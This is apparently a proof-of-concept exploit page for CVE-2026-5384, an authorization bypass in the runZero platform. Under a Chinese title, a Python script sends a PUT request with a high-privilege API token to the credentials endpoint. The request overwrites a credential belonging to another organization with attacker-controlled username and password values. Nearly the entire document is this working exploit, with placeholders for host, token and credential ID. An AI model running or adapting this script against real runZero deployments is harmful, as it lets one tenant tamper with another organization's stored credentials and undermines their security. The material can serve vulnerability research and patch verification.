CVE-2026-5384 runZero权限绕过漏洞

import requests # PoC for CVE-2026-5384: Incorrect Authorization in runZero Platform # Description: This script demonstrates how a high-privileged user might update # credentials belonging to a different organization due to authorization bypass. TARGET_HOST = "https://<runzero-instance>" API_TOKEN = "<HIGH_PRIVILEGE_TOKEN>" # Headers for authentication headers = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json" } # Step 1: Identify a credential ID from a different organization (Reconnaissance required) # Assume 'target_cred_id' belongs to Org B, while the API token belongs to Org A target_cred_id = "TARGET_CREDENTIAL_ID_HERE" # Step 2: Prepare the payload to update the credential # Exploit: The system fails to check if target_cred_id is within the token's authorized scope payload = { "name": "Compromised Credential", "username": "attacker_controlled", "password": "new_password" } # Step 3: Send the update request url = f"{TARGET_HOST}/api/v1.0/creds/{target_cred_id}" try: response = requests.put(url, json=payload, headers=headers) if response.status_code == 200: print("[+] Potential Exploit Successful: Credential updated outside authorized scope.") else: print(f"[-] Request failed with status: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}")